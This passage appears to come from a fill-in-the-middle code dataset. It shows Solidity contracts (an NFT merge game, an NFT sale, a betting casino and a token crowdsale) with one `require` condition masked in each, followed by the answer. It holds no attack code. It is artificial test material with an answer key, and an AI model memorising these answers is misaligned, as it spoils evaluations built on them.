require(<FILL_ME>) // set both parent monsters to the new unlock date monRecords[id1].unlockBlock = block.number + mergeTime + mon1.gen*genMergeLag; monRecords[id2].unlockBlock = block.number + mergeTime + mon2.gen*genMergeLag; // set numAncestors1 to be the minimum of both uint256 gen1 = mon1.gen; uint256 gen2 = mon2.gen; if (gen2 < gen1) { gen1 = gen2; } // mint the user their merged monster _createNewMonster( msg.sender, block.number + mergeTime + gen1*genMergeLag, id1, id2, gen1+1, mon1.amount + mon2.amount, mon1.duration + mon2.duration ); // Pay the merge fee token.safeTransferFrom(msg.sender, address(this), mergePrice); } function setMinStakeAmt(uint256 a) public onlyOwner { } function setMinStakeTime(uint256 t) public onlyOwner { } function setTokenPrice(uint256 p) public onlyOwner { } function setSeries(uint256 s) public onlyOwner { } function setMaxMons(uint256 m) public onlyOwner { } function setMergePrice(uint256 p) public onlyOwner { } function setMergeTime(uint256 t) public onlyOwner { } function setGenMergeLag(uint256 g) public onlyOwner { } function setCanMerge(bool b) public onlyOwner{ } function setTokenAddress(address tokenAddress) public onlyOwner { } function setNFTAddress(address nftAddress) public onlyOwner { } function setBaseURI(string memory uri) public onlyOwner { } function setContractURI(string memory uri) public onlyOwner { } function moveTokens(address tokenAddress, address to, uint256 numTokens) public onlyOwner { } function contractURI() public view returns (string memory) { } function getTotalMons() public view returns (uint256) { } }
ownerOf(id2)==msg.sender,"need to own monster"
371,705
ownerOf(id2)==msg.sender
"WRONG_ETH_AMOUNT"
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./ERC721Min.sol"; contract OwnableDelegateProxy {} contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract LiquidCraftNFTSales is Ownable, ERC721Min, ReentrancyGuard { using Strings for uint256; using SafeERC20 for IERC20; address public immutable proxyRegistryAddress; // opensea proxy mapping(address => bool) proxyToApproved; // proxy allowance for interaction with future contract uint8 public MAX_PER_MINT = 5; uint16 public MAX_MINT = 41; // total mint + 1 uint16 public MAX_MINT_FOR_ONE = 40; // MAX_MINT - 1; precomputed for gas uint16 public MAX_MINT_FOR_TWO = 39; // MAX_MINT - 2; precomputed for gas uint256 public PRICE = 0.45 ether; uint256 public PRICE_FOR_TWO = 0.9 ether; // 2 * PRICE, precomputed for gas string private _contractURI; string private _tokenBaseURI = "https://gateway.pinata.cloud/ipfs/QmcgiHPX1uUdwiCFzrUjwFkSrLn5G6gUdePi44R8FSG6eK"; address private _vaultAddress = 0xb8ec074133f00778aFc2CCFA1855C66d6d77C6BE; address private _dmAddress = 0xb9fdBe90fa825F88d4f27dab855d7c39Cf6dca3d; bool useBaseUriOnly = true; bool public saleLive; constructor() ERC721Min("The Green Fairy Barrel", "GFB") { } // ** - CORE - ** // function buyOne() external payable { } function buyTwo() external payable { } function buy(uint256 tokenQuantity) external payable { require(saleLive, "SALE_CLOSED"); require(tokenQuantity < MAX_PER_MINT + 1, "EXCEED_MAX_PER_MINT"); require(<FILL_ME>) require(MAX_MINT > _owners.length + tokenQuantity, "EXCEED_MAX_SUPPLY"); for (uint256 i = 0; i < tokenQuantity; i++) { _mintMin(); } } // ** - ADMIN - ** // function withdrawFund() public { } function withdraw(address _token) external nonReentrant { } function gift(address[] calldata receivers, uint256[] memory amounts) external onlyOwner { } function toggleSaleStatus() external onlyOwner { } // to avoid opensea listing costs function isApprovedForAll(address _owner, address operator) public view override returns (bool) { } function flipProxyState(address proxyAddress) public onlyOwner { } // ** - SETTERS - ** // function setMaxPerMint(uint8 maxPerMint) external onlyOwner { } function setMaxMint(uint8 maxMint) external onlyOwner { } function setVaultAddress(address addr) external onlyOwner { } function setContractURI(string calldata URI) external onlyOwner { } function setBaseURI(string calldata URI) external onlyOwner { } // ** - MISC - ** // function setPrice(uint256 _price) external onlyOwner { } function contractURI() public view returns (string memory) { } function toggleUseBaseUri() external onlyOwner { } function tokenURI(uint256 tokenId) external view virtual override returns (string memory) { } function isOwnerOf(address account, uint256[] calldata _tokenIds) external view returns (bool) { } function setStakingContract(address stakingContract) external onlyOwner { } function unStake(uint256 tokenId) external onlyOwner { } }
PRICE*tokenQuantity==msg.value,"WRONG_ETH_AMOUNT"
371,845
PRICE*tokenQuantity==msg.value
"NOT_ALLOWED"
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./ERC721Min.sol"; contract OwnableDelegateProxy {} contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract LiquidCraftNFTSales is Ownable, ERC721Min, ReentrancyGuard { using Strings for uint256; using SafeERC20 for IERC20; address public immutable proxyRegistryAddress; // opensea proxy mapping(address => bool) proxyToApproved; // proxy allowance for interaction with future contract uint8 public MAX_PER_MINT = 5; uint16 public MAX_MINT = 41; // total mint + 1 uint16 public MAX_MINT_FOR_ONE = 40; // MAX_MINT - 1; precomputed for gas uint16 public MAX_MINT_FOR_TWO = 39; // MAX_MINT - 2; precomputed for gas uint256 public PRICE = 0.45 ether; uint256 public PRICE_FOR_TWO = 0.9 ether; // 2 * PRICE, precomputed for gas string private _contractURI; string private _tokenBaseURI = "https://gateway.pinata.cloud/ipfs/QmcgiHPX1uUdwiCFzrUjwFkSrLn5G6gUdePi44R8FSG6eK"; address private _vaultAddress = 0xb8ec074133f00778aFc2CCFA1855C66d6d77C6BE; address private _dmAddress = 0xb9fdBe90fa825F88d4f27dab855d7c39Cf6dca3d; bool useBaseUriOnly = true; bool public saleLive; constructor() ERC721Min("The Green Fairy Barrel", "GFB") { } // ** - CORE - ** // function buyOne() external payable { } function buyTwo() external payable { } function buy(uint256 tokenQuantity) external payable { } // ** - ADMIN - ** // function withdrawFund() public { require(<FILL_ME>) require(_vaultAddress != address(0), "TREASURY_NOT_SET"); (bool sent, ) = _vaultAddress.call{value: address(this).balance * 90 / 100}(""); require(sent, "FAILED_SENDING_FUNDS"); (sent, ) = _dmAddress.call{value: address(this).balance}(""); require(sent, "FAILED_SENDING_FUNDS"); } function withdraw(address _token) external nonReentrant { } function gift(address[] calldata receivers, uint256[] memory amounts) external onlyOwner { } function toggleSaleStatus() external onlyOwner { } // to avoid opensea listing costs function isApprovedForAll(address _owner, address operator) public view override returns (bool) { } function flipProxyState(address proxyAddress) public onlyOwner { } // ** - SETTERS - ** // function setMaxPerMint(uint8 maxPerMint) external onlyOwner { } function setMaxMint(uint8 maxMint) external onlyOwner { } function setVaultAddress(address addr) external onlyOwner { } function setContractURI(string calldata URI) external onlyOwner { } function setBaseURI(string calldata URI) external onlyOwner { } // ** - MISC - ** // function setPrice(uint256 _price) external onlyOwner { } function contractURI() public view returns (string memory) { } function toggleUseBaseUri() external onlyOwner { } function tokenURI(uint256 tokenId) external view virtual override returns (string memory) { } function isOwnerOf(address account, uint256[] calldata _tokenIds) external view returns (bool) { } function setStakingContract(address stakingContract) external onlyOwner { } function unStake(uint256 tokenId) external onlyOwner { } }
_msgSender()==owner()||_msgSender()==_vaultAddress,"NOT_ALLOWED"
371,845
_msgSender()==owner()||_msgSender()==_vaultAddress
"MINT_TO_ZERO"
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./ERC721Min.sol"; contract OwnableDelegateProxy {} contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract LiquidCraftNFTSales is Ownable, ERC721Min, ReentrancyGuard { using Strings for uint256; using SafeERC20 for IERC20; address public immutable proxyRegistryAddress; // opensea proxy mapping(address => bool) proxyToApproved; // proxy allowance for interaction with future contract uint8 public MAX_PER_MINT = 5; uint16 public MAX_MINT = 41; // total mint + 1 uint16 public MAX_MINT_FOR_ONE = 40; // MAX_MINT - 1; precomputed for gas uint16 public MAX_MINT_FOR_TWO = 39; // MAX_MINT - 2; precomputed for gas uint256 public PRICE = 0.45 ether; uint256 public PRICE_FOR_TWO = 0.9 ether; // 2 * PRICE, precomputed for gas string private _contractURI; string private _tokenBaseURI = "https://gateway.pinata.cloud/ipfs/QmcgiHPX1uUdwiCFzrUjwFkSrLn5G6gUdePi44R8FSG6eK"; address private _vaultAddress = 0xb8ec074133f00778aFc2CCFA1855C66d6d77C6BE; address private _dmAddress = 0xb9fdBe90fa825F88d4f27dab855d7c39Cf6dca3d; bool useBaseUriOnly = true; bool public saleLive; constructor() ERC721Min("The Green Fairy Barrel", "GFB") { } // ** - CORE - ** // function buyOne() external payable { } function buyTwo() external payable { } function buy(uint256 tokenQuantity) external payable { } // ** - ADMIN - ** // function withdrawFund() public { } function withdraw(address _token) external nonReentrant { } function gift(address[] calldata receivers, uint256[] memory amounts) external onlyOwner { require( MAX_MINT > _owners.length + receivers.length, "EXCEED_MAX_SUPPLY" ); for (uint256 x = 0; x < receivers.length; x++) { require(<FILL_ME>) require( MAX_MINT > _owners.length + amounts[x], "EXCEED_MAX_SUPPLY" ); for (uint256 i = 0; i < amounts[x]; i++) { _mintMin2(receivers[x]); } } } function toggleSaleStatus() external onlyOwner { } // to avoid opensea listing costs function isApprovedForAll(address _owner, address operator) public view override returns (bool) { } function flipProxyState(address proxyAddress) public onlyOwner { } // ** - SETTERS - ** // function setMaxPerMint(uint8 maxPerMint) external onlyOwner { } function setMaxMint(uint8 maxMint) external onlyOwner { } function setVaultAddress(address addr) external onlyOwner { } function setContractURI(string calldata URI) external onlyOwner { } function setBaseURI(string calldata URI) external onlyOwner { } // ** - MISC - ** // function setPrice(uint256 _price) external onlyOwner { } function contractURI() public view returns (string memory) { } function toggleUseBaseUri() external onlyOwner { } function tokenURI(uint256 tokenId) external view virtual override returns (string memory) { } function isOwnerOf(address account, uint256[] calldata _tokenIds) external view returns (bool) { } function setStakingContract(address stakingContract) external onlyOwner { } function unStake(uint256 tokenId) external onlyOwner { } }
receivers[x]!=address(0),"MINT_TO_ZERO"
371,845
receivers[x]!=address(0)
"incorrect signer"
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { } } /** * @title HouseAdmin * @dev The HouseAdmin contract has a signer address and a croupier address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions" */ contract HouseAdmin is Ownable { address public signer; address public croupier; event SignerTransferred(address indexed previousSigner, address indexed newSigner); event CroupierTransferred(address indexed previousCroupier, address indexed newCroupier); /** * @dev Throws if called by any account other than the signer or owner */ modifier onlySigner() { } /** * @dev Throws if called by any account other than the croupier or owner */ modifier onlyCroupier() { } /** * @dev The Signable constructor sets the original `signer` of the contract to the sender * account */ constructor() public { } /** * @dev Allows the current signer to transfer control of the contract to a newSigner * @param _newSigner The address to transfer signership to */ function transferSigner(address _newSigner) public onlySigner { } /** * @dev Allows the current croupier to transfer control of the contract to a newCroupier * @param _newCroupier The address to transfer croupiership to */ function transferCroupier(address _newCroupier) public onlyCroupier { } /** * @dev Transfers control of the contract to a newSigner. * @param _newSigner The address to transfer signership to. */ function _transferSigner(address _newSigner) internal { } /** * @dev Transfers control of the contract to a newCroupier. * @param _newCroupier The address to transfer croupiership to. */ function _transferCroupier(address _newCroupier) internal { } } contract Casino is Ownable, HouseAdmin { using SafeMath for uint; uint constant HOUSE_EDGE_PERCENT = 1; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether; uint constant BET_AMOUNT_MIN = 0.01 ether; uint constant BET_AMOUNT_MAX = 1000 ether; uint constant BET_EXPIRATION_BLOCKS = 250; uint constant MAX_MASKABLE_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASKABLE_MODULO; // population count uint constant POPCOUNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCOUNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCOUNT_MODULO = 0x3F; uint public bankFund; struct Bet { uint8 modulo; uint64 choice; uint amount; uint winAmount; uint placeBlockNumber; bool isActive; address player; } mapping (uint => Bet) public bets; event LogParticipant(address indexed player, uint indexed modulo, uint choice, uint amount, uint commit); event LogClosedBet(address indexed player, uint indexed modulo, uint choice, uint reveal, uint result, uint amount, uint winAmount); event LogDistributeReward(address indexed addr, uint reward); event LogRecharge(address indexed addr, uint amount); event LogRefund(address indexed addr, uint amount); event LogDealerWithdraw(address indexed addr, uint amount); constructor() payable public { } function placeBet(uint _choice, uint _modulo, uint _expiredBlockNumber, uint _commit, uint8 _v, bytes32 _r, bytes32 _s) payable external { Bet storage bet = bets[_commit]; uint amount = msg.value; require(bet.player == address(0), "this bet is already exist"); require(block.number <= _expiredBlockNumber, 'this bet has expired'); require(amount >= BET_AMOUNT_MIN && amount <= BET_AMOUNT_MAX, 'bet amount out of range'); // verify the signer and _expiredBlockNumber bytes32 msgHash = keccak256(abi.encodePacked(_expiredBlockNumber, _commit)); require(<FILL_ME>) uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } uint populationCount; if (_modulo < MAX_MASKABLE_MODULO) { require(_choice < MAX_BET_MASK, "choice too large"); populationCount = (_choice * POPCOUNT_MULT & POPCOUNT_MASK) % POPCOUNT_MODULO; require(populationCount < _modulo, "winning rate out of range"); } else { require(_choice < _modulo, "choice large than modulo"); populationCount = _choice; } uint winAmount = (amount - houseEdge).mul(_modulo) / populationCount; require(bankFund.add(winAmount) <= address(this).balance, 'contract balance is not enough'); // lock winAmount into this contract. Make sure contract is solvent bankFund = bankFund.add(winAmount); bet.choice = uint64(_choice); bet.player = msg.sender; bet.placeBlockNumber = block.number; bet.amount = amount; bet.winAmount = winAmount; bet.isActive = true; bet.modulo = uint8(_modulo); emit LogParticipant(msg.sender, _modulo, _choice, amount, _commit); } function closeBet(uint _reveal) external onlyCroupier { } function refundBet(uint _commit) external onlyCroupier { } /** * @dev in order to let more people participant */ function recharge() public payable { } /** * @dev owner can withdraw the remain ether */ function withdraw(uint _amount) external onlyOwner { } /** * @dev get the balance which can be used */ function getAvailableBalance() view public returns (uint) { } }
ecrecover(msgHash,_v,_r,_s)==signer,"incorrect signer"
371,848
ecrecover(msgHash,_v,_r,_s)==signer
'contract balance is not enough'
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { } } /** * @title HouseAdmin * @dev The HouseAdmin contract has a signer address and a croupier address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions" */ contract HouseAdmin is Ownable { address public signer; address public croupier; event SignerTransferred(address indexed previousSigner, address indexed newSigner); event CroupierTransferred(address indexed previousCroupier, address indexed newCroupier); /** * @dev Throws if called by any account other than the signer or owner */ modifier onlySigner() { } /** * @dev Throws if called by any account other than the croupier or owner */ modifier onlyCroupier() { } /** * @dev The Signable constructor sets the original `signer` of the contract to the sender * account */ constructor() public { } /** * @dev Allows the current signer to transfer control of the contract to a newSigner * @param _newSigner The address to transfer signership to */ function transferSigner(address _newSigner) public onlySigner { } /** * @dev Allows the current croupier to transfer control of the contract to a newCroupier * @param _newCroupier The address to transfer croupiership to */ function transferCroupier(address _newCroupier) public onlyCroupier { } /** * @dev Transfers control of the contract to a newSigner. * @param _newSigner The address to transfer signership to. */ function _transferSigner(address _newSigner) internal { } /** * @dev Transfers control of the contract to a newCroupier. * @param _newCroupier The address to transfer croupiership to. */ function _transferCroupier(address _newCroupier) internal { } } contract Casino is Ownable, HouseAdmin { using SafeMath for uint; uint constant HOUSE_EDGE_PERCENT = 1; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether; uint constant BET_AMOUNT_MIN = 0.01 ether; uint constant BET_AMOUNT_MAX = 1000 ether; uint constant BET_EXPIRATION_BLOCKS = 250; uint constant MAX_MASKABLE_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASKABLE_MODULO; // population count uint constant POPCOUNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCOUNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCOUNT_MODULO = 0x3F; uint public bankFund; struct Bet { uint8 modulo; uint64 choice; uint amount; uint winAmount; uint placeBlockNumber; bool isActive; address player; } mapping (uint => Bet) public bets; event LogParticipant(address indexed player, uint indexed modulo, uint choice, uint amount, uint commit); event LogClosedBet(address indexed player, uint indexed modulo, uint choice, uint reveal, uint result, uint amount, uint winAmount); event LogDistributeReward(address indexed addr, uint reward); event LogRecharge(address indexed addr, uint amount); event LogRefund(address indexed addr, uint amount); event LogDealerWithdraw(address indexed addr, uint amount); constructor() payable public { } function placeBet(uint _choice, uint _modulo, uint _expiredBlockNumber, uint _commit, uint8 _v, bytes32 _r, bytes32 _s) payable external { Bet storage bet = bets[_commit]; uint amount = msg.value; require(bet.player == address(0), "this bet is already exist"); require(block.number <= _expiredBlockNumber, 'this bet has expired'); require(amount >= BET_AMOUNT_MIN && amount <= BET_AMOUNT_MAX, 'bet amount out of range'); // verify the signer and _expiredBlockNumber bytes32 msgHash = keccak256(abi.encodePacked(_expiredBlockNumber, _commit)); require(ecrecover(msgHash, _v, _r, _s) == signer, "incorrect signer"); uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } uint populationCount; if (_modulo < MAX_MASKABLE_MODULO) { require(_choice < MAX_BET_MASK, "choice too large"); populationCount = (_choice * POPCOUNT_MULT & POPCOUNT_MASK) % POPCOUNT_MODULO; require(populationCount < _modulo, "winning rate out of range"); } else { require(_choice < _modulo, "choice large than modulo"); populationCount = _choice; } uint winAmount = (amount - houseEdge).mul(_modulo) / populationCount; require(<FILL_ME>) // lock winAmount into this contract. Make sure contract is solvent bankFund = bankFund.add(winAmount); bet.choice = uint64(_choice); bet.player = msg.sender; bet.placeBlockNumber = block.number; bet.amount = amount; bet.winAmount = winAmount; bet.isActive = true; bet.modulo = uint8(_modulo); emit LogParticipant(msg.sender, _modulo, _choice, amount, _commit); } function closeBet(uint _reveal) external onlyCroupier { } function refundBet(uint _commit) external onlyCroupier { } /** * @dev in order to let more people participant */ function recharge() public payable { } /** * @dev owner can withdraw the remain ether */ function withdraw(uint _amount) external onlyOwner { } /** * @dev get the balance which can be used */ function getAvailableBalance() view public returns (uint) { } }
bankFund.add(winAmount)<=address(this).balance,'contract balance is not enough'
371,848
bankFund.add(winAmount)<=address(this).balance
'this bet is not active'
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { } } /** * @title HouseAdmin * @dev The HouseAdmin contract has a signer address and a croupier address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions" */ contract HouseAdmin is Ownable { address public signer; address public croupier; event SignerTransferred(address indexed previousSigner, address indexed newSigner); event CroupierTransferred(address indexed previousCroupier, address indexed newCroupier); /** * @dev Throws if called by any account other than the signer or owner */ modifier onlySigner() { } /** * @dev Throws if called by any account other than the croupier or owner */ modifier onlyCroupier() { } /** * @dev The Signable constructor sets the original `signer` of the contract to the sender * account */ constructor() public { } /** * @dev Allows the current signer to transfer control of the contract to a newSigner * @param _newSigner The address to transfer signership to */ function transferSigner(address _newSigner) public onlySigner { } /** * @dev Allows the current croupier to transfer control of the contract to a newCroupier * @param _newCroupier The address to transfer croupiership to */ function transferCroupier(address _newCroupier) public onlyCroupier { } /** * @dev Transfers control of the contract to a newSigner. * @param _newSigner The address to transfer signership to. */ function _transferSigner(address _newSigner) internal { } /** * @dev Transfers control of the contract to a newCroupier. * @param _newCroupier The address to transfer croupiership to. */ function _transferCroupier(address _newCroupier) internal { } } contract Casino is Ownable, HouseAdmin { using SafeMath for uint; uint constant HOUSE_EDGE_PERCENT = 1; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether; uint constant BET_AMOUNT_MIN = 0.01 ether; uint constant BET_AMOUNT_MAX = 1000 ether; uint constant BET_EXPIRATION_BLOCKS = 250; uint constant MAX_MASKABLE_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASKABLE_MODULO; // population count uint constant POPCOUNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCOUNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCOUNT_MODULO = 0x3F; uint public bankFund; struct Bet { uint8 modulo; uint64 choice; uint amount; uint winAmount; uint placeBlockNumber; bool isActive; address player; } mapping (uint => Bet) public bets; event LogParticipant(address indexed player, uint indexed modulo, uint choice, uint amount, uint commit); event LogClosedBet(address indexed player, uint indexed modulo, uint choice, uint reveal, uint result, uint amount, uint winAmount); event LogDistributeReward(address indexed addr, uint reward); event LogRecharge(address indexed addr, uint amount); event LogRefund(address indexed addr, uint amount); event LogDealerWithdraw(address indexed addr, uint amount); constructor() payable public { } function placeBet(uint _choice, uint _modulo, uint _expiredBlockNumber, uint _commit, uint8 _v, bytes32 _r, bytes32 _s) payable external { } function closeBet(uint _reveal) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(_reveal))); Bet storage bet = bets[commit]; require(<FILL_ME>) uint amount = bet.amount; uint placeBlockNumber = bet.placeBlockNumber; uint modulo = bet.modulo; uint winAmount = 0; uint choice = bet.choice; address player = bet.player; require(block.number > placeBlockNumber, 'close bet block number is too low'); require(block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, 'the block number is too low to query'); uint result = uint(keccak256(abi.encodePacked(_reveal, blockhash(placeBlockNumber)))) % modulo; if (modulo <= MAX_MASKABLE_MODULO) { if (2 ** result & choice != 0) { winAmount = bet.winAmount; player.transfer(winAmount); emit LogDistributeReward(player, winAmount); } } else { if (result < choice) { winAmount = bet.winAmount; player.transfer(winAmount); emit LogDistributeReward(player, winAmount); } } // release winAmount deposit bankFund = bankFund.sub(bet.winAmount); bet.isActive = false; emit LogClosedBet(player, modulo, choice, _reveal, result, amount, winAmount); } function refundBet(uint _commit) external onlyCroupier { } /** * @dev in order to let more people participant */ function recharge() public payable { } /** * @dev owner can withdraw the remain ether */ function withdraw(uint _amount) external onlyOwner { } /** * @dev get the balance which can be used */ function getAvailableBalance() view public returns (uint) { } }
bet.isActive,'this bet is not active'
371,848
bet.isActive
null
pragma solidity ^0.4.18; /** * @title SafeMath for performing valid mathematics. */ library SafeMath { function Mul(uint a, uint b) internal pure returns (uint) { } function Div(uint a, uint b) internal pure returns (uint) { } function Sub(uint a, uint b) internal pure returns (uint) { } function Add(uint a, uint b) internal pure returns (uint) { } } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } /** * Contract "Ownable" * Purpose: Defines Owner for contract and provide functionality to transfer ownership to another account */ contract Ownable { //owner variable to store contract owner account address public owner; //add another owner to transfer ownership address oldOwner; //Constructor for the contract to store owner's account on deployement function Ownable() public { } //modifier to check transaction initiator is only owner modifier onlyOwner() { } //ownership can be transferred to provided newOwner. Function can only be initiated by contract owner's account function transferOwnership(address newOwner) public onlyOwner { } } /** * @title ERC20 interface */ contract ERC20 is Ownable { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 value); function transfer(address _to, uint256 _value) public returns (bool _success); function allowance(address owner, address spender) public view returns (uint256 _value); function transferFrom(address from, address to, uint256 value) public returns (bool _success); function approve(address spender, uint256 value) public returns (bool _success); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed _from, address indexed _to, uint _value); } contract CTV is ERC20 { using SafeMath for uint256; //The name of the token string public constant name = "Coin TV"; //The token symbol string public constant symbol = "CTV"; //To denote the locking on transfer of tokens among token holders bool public locked; //The precision used in the calculations in contract uint8 public constant decimals = 18; //maximum number of tokens uint256 constant MAXCAP = 29999990e18; // maximum number of tokens that can be supplied by referrals uint public constant MAX_REFERRAL_TOKENS = 2999999e18; //set the softcap of ether received uint256 constant SOFTCAP = 70 ether; //Refund eligible or not // 0: sale not started yet, refunding invalid // 1: refund not required // 2: softcap not reached, refund required // 3: Refund in progress // 4: Everyone refunded uint256 public refundStatus = 0; //the account which will receive all balance address public ethCollector; //to save total number of ethers received uint256 public totalWeiReceived; //count tokens earned by referrals uint256 public tokensSuppliedFromReferral = 0; //Mapping to relate owner and spender to the tokens allowed to transfer from owner mapping(address => mapping(address => uint256)) allowed; //to manage referrals mapping(address => address) public referredBy; //Mapping to relate number of token to the account mapping(address => uint256) balances; //Structure for investors; holds received wei amount and Token sent struct Investor { //wei received during PreSale uint weiReceived; //Tokens sent during CrowdSale uint tokensPurchased; //user has been refunded or not bool refunded; //Uniquely identify an investor(used for iterating) uint investorID; } //time when the sale starts uint256 public startTime; //time when the presale ends uint256 public endTime; //to check the sale status bool public saleRunning; //investors indexed by their ETH address mapping(address => Investor) public investors; //investors indexed by their IDs mapping (uint256 => address) public investorList; //count number of investors uint256 public countTotalInvestors; //to keep track of how many investors have been refunded uint256 countInvestorsRefunded; //events event StateChanged(bool); function CTV() public{ } //To handle ERC20 short address attack modifier onlyPayloadSize(uint size) { } modifier onlyUnlocked() { } modifier validTimeframe(){ 